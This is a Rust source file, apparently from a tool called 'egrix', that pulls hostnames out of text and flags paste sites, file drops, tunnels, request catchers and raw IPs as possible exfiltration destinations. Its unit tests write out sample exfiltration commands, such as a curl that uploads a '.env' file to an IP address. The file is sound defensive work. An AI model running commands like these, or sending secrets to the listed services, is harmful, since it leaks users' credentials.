use crate::model::Verdict;
use anyhow::{Context, Result};
use regex::Regex;
use serde::{Deserialize, Serialize};
use std::collections::BTreeSet;
use std::net::IpAddr;
use std::path::Path;
use std::sync::OnceLock;
const FLAGGED: &[(&str, &[&str])] = &[
(
"paste site",
&["pastebin.com", "paste.ee", "hastebin.com", "dpaste.com", "ghostbin.co", "termbin.com", "ix.io", "0x0.st", "rentry.co"],
),
("file drop", &["transfer.sh", "file.io", "gofile.io", "catbox.moe", "bashupload.com", "temp.sh", "anonfiles.com", "tmpfiles.org"]),
("tunnel", &["ngrok.io", "ngrok-free.app", "ngrok.app", "trycloudflare.com", "loca.lt", "serveo.net", "localhost.run"]),
(
"request catcher",
&[
"webhook.site",
"requestbin.com",
"pipedream.net",
"interact.sh",
"oast.fun",
"oast.pro",
"burpcollaborator.net",
"requestcatcher.com",
],
),
];
const WELL_KNOWN: &[&str] = &[
"github.com",
"githubusercontent.com",
"githubassets.com",
"gitlab.com",
"bitbucket.org",
"npmjs.org",
"npmjs.com",
"yarnpkg.com",
"pypi.org",
"pythonhosted.org",
"crates.io",
"docs.rs",
"rust-lang.org",
"golang.org",
"go.dev",
"rubygems.org",
"maven.org",
"nuget.org",
"packagist.org",
"docker.io",
"docker.com",
"ghcr.io",
"quay.io",
"debian.org",
"ubuntu.com",
"alpinelinux.org",
"anthropic.com",
"claude.ai",
"openai.com",
"googleapis.com",
"google.com",
"microsoft.com",
"visualstudio.com",
"mozilla.org",
"stackoverflow.com",
"wikipedia.org",
"w3.org",
"schema.org",
"json-schema.org",
"example.com",
"example.org",
];
#[derive(Clone, Debug, Default, Serialize, Deserialize, PartialEq)]
pub struct HostLists {
#[serde(default)]
pub allow: BTreeSet<String>,
#[serde(default)]
pub deny: BTreeSet<String>,
}
impl HostLists {
pub fn load(path: &Path) -> Result<Self> {
match std::fs::read_to_string(path) {
Ok(text) => {
let mut lists: Self = toml::from_str(&text).with_context(|| format!("{} is not valid", path.display()))?;
lists.allow = normalize_all(lists.allow);
lists.deny = normalize_all(lists.deny);
Ok(lists)
}
Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(Self::default()),
Err(e) => Err(e).with_context(|| format!("cannot read {}", path.display())),
}
}
pub fn save(&self, path: &Path) -> Result<()> {
if let Some(dir) = path.parent() {
std::fs::create_dir_all(dir)?;
}
let body = toml::to_string_pretty(self)?;
std::fs::write(path, format!("# Managed by `egrix hosts`. Entries match the host and its subdomains.\n{body}"))
.with_context(|| format!("cannot write {}", path.display()))
}
pub fn set(&mut self, host: &str, allow: bool) {
let host = normalize(host);
let (add, remove) = if allow { (&mut self.allow, &mut self.deny) } else { (&mut self.deny, &mut self.allow) };
remove.remove(&host);
add.insert(host);
}
pub fn remove(&mut self, host: &str) -> bool {
let host = normalize(host);
self.allow.remove(&host) | self.deny.remove(&host)
}
pub fn verdict(&self, host: &str) -> (Verdict, String) {
let hit = |list: &BTreeSet<String>| list.iter().any(|e| covers(e, host));
if hit(&self.deny) {
return (Verdict::Flagged, "your deny list".into());
}
if hit(&self.allow) {
return (Verdict::Allowed, "your allow list".into());
}
if is_ip(host) {
return (Verdict::Flagged, "raw IP address".into());
}
for (category, hosts) in FLAGGED {
if hosts.iter().any(|e| covers(e, host)) {
return (Verdict::Flagged, (*category).into());
}
}
if WELL_KNOWN.iter().any(|e| covers(e, host)) {
return (Verdict::Allowed, "well-known (built-in)".into());
}
(Verdict::Unknown, "no rule".into())
}
}
fn covers(entry: &str, host: &str) -> bool {
host == entry || host.strip_suffix(entry).is_some_and(|rest| rest.ends_with('.'))
}
pub fn normalize(host: &str) -> String {
let mut host = host.trim();
if let Some((_, rest)) = host.split_once("://") {
host = rest;
}
if let Some((_, rest)) = host.rsplit_once('@') {
host = rest;
}
host = host.split(['/', '?', '#']).next().unwrap_or(host);
if let Some(rest) = host.strip_prefix('[') {
host = rest.split(']').next().unwrap_or(rest);
} else if host.matches(':').count() == 1 {
host = host.split(':').next().unwrap_or(host);
}
host.trim().trim_end_matches('.').to_ascii_lowercase()
}
fn normalize_all(hosts: BTreeSet<String>) -> BTreeSet<String> {
hosts.into_iter().map(|h| normalize(&h)).filter(|h| !h.is_empty()).collect()
}
fn is_ip(host: &str) -> bool {
host.parse::<IpAddr>().is_ok()
}
fn is_local(host: &str) -> bool {
if host == "localhost" || host.ends_with(".local") || host.ends_with(".internal") || host.ends_with(".localhost") {
return true;
}
match host.parse::<IpAddr>() {
Ok(IpAddr::V4(ip)) => ip.is_loopback() || ip.is_private() || ip.is_link_local() || ip.is_unspecified() || ip.is_broadcast(),
Ok(IpAddr::V6(ip)) => {
ip.is_loopback()
|| ip.is_unspecified()
|| ip.is_unique_local()
|| ip.is_unicast_link_local()
|| ip.to_ipv4_mapped().is_some_and(|v4| v4.is_loopback() || v4.is_private() || v4.is_link_local() || v4.is_unspecified())
}
Err(_) => false,
}
}
fn url_re() -> &'static Regex {
static RE: OnceLock<Regex> = OnceLock::new();
RE.get_or_init(|| {
Regex::new(
r#"(?i)\b(?:https?|wss?|ftps?|ssh)://(?:[^/@\s"'<>\\]+@)?(?:\[([0-9a-f:.]+)\]|([a-z0-9][a-z0-9.-]*))|\bgit@([a-z0-9][a-z0-9.-]*):"#,
)
.unwrap()
})
}
pub fn extract(line: &str) -> Vec<String> {
let unescaped;
let line = if line.contains("\\/") {
unescaped = line.replace("\\/", "/");
unescaped.as_str()
} else {
line
};
if !line.contains("://") && !line.contains("git@") {
return Vec::new();
}
let mut out: Vec<String> = Vec::new();
for caps in url_re().captures_iter(line) {
let Some(m) = caps.get(1).or_else(|| caps.get(2)).or_else(|| caps.get(3)) else { continue };
let host = normalize(m.as_str());
let plausible =
is_ip(&host) || host.rsplit_once('.').is_some_and(|(_, tld)| tld.len() >= 2 && tld.chars().all(|c| c.is_ascii_alphabetic()));
if plausible && !is_local(&host) && !out.contains(&host) {
out.push(host);
}
}
out
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn extracts_hosts_and_never_credentials() {
assert_eq!(extract("curl https://user:tok3n@Api.Example.io/v1 and http://b.dev:8080/x"), ["api.example.io", "b.dev"]);
assert_eq!(extract(r#"{"cmd":"wget https:\/\/transfer.sh\/abc"}"#), ["transfer.sh"]);
assert_eq!(extract("git clone git@gitlab.com:org/repo.git"), ["gitlab.com"]);
}
#[test]
fn extracts_ipv6_destinations_and_drops_local_ones() {
assert_eq!(extract("curl 'http://[2001:DB8::7]/upload' --data @.env"), ["2001:db8::7"]);
assert!(extract("http://[::1]:8080/x http://[fe80::1]/ http://[fd00::5]/ http://[::ffff:127.0.0.1]/").is_empty());
assert_eq!(HostLists::default().verdict("2001:db8::7"), (Verdict::Flagged, "raw IP address".into()));
}
#[test]
fn normalizes_url_like_host_input() {
assert_eq!(normalize(" HTTPS://user:tok@CDN.Example.COM:8443/path?q=1 "), "cdn.example.com");
assert_eq!(normalize("[2001:DB8::7]:9000"), "2001:db8::7");
assert_eq!(normalize("pastebin.com."), "pastebin.com");
assert_eq!(normalize("https://"), "");
}
#[test]
fn drops_local_and_implausible_hosts() {
assert!(extract("http://localhost:3000 http://127.0.0.1:8080 http://10.0.0.5/ http://db.internal/").is_empty());
assert!(extract("see https://foo and https://v1.2/").is_empty());
assert!(extract("no urls here").is_empty());
}
#[test]
fn verdict_precedence() {
let mut lists = HostLists::default();
assert_eq!(lists.verdict("x.pastebin.com").0, Verdict::Flagged);
assert_eq!(lists.verdict("185.220.101.7").1, "raw IP address");
assert_eq!(lists.verdict("api.github.com").0, Verdict::Allowed);
assert_eq!(lists.verdict("notgithub.com").0, Verdict::Unknown);
lists.set("pastebin.com", true);
assert_eq!(lists.verdict("pastebin.com").0, Verdict::Allowed);
lists.set("github.com", false);
assert_eq!(lists.verdict("api.github.com"), (Verdict::Flagged, "your deny list".into()));
assert!(lists.allow.contains("pastebin.com") && !lists.allow.contains("github.com"));
}
#[test]
fn url_shaped_entries_are_stored_as_hosts() {
let mut lists = HostLists::default();
lists.set("https://cdn.mycompany.com:8443/path", true);
assert!(lists.allow.contains("cdn.mycompany.com"));
assert_eq!(lists.verdict("api.cdn.mycompany.com").0, Verdict::Allowed);
}
}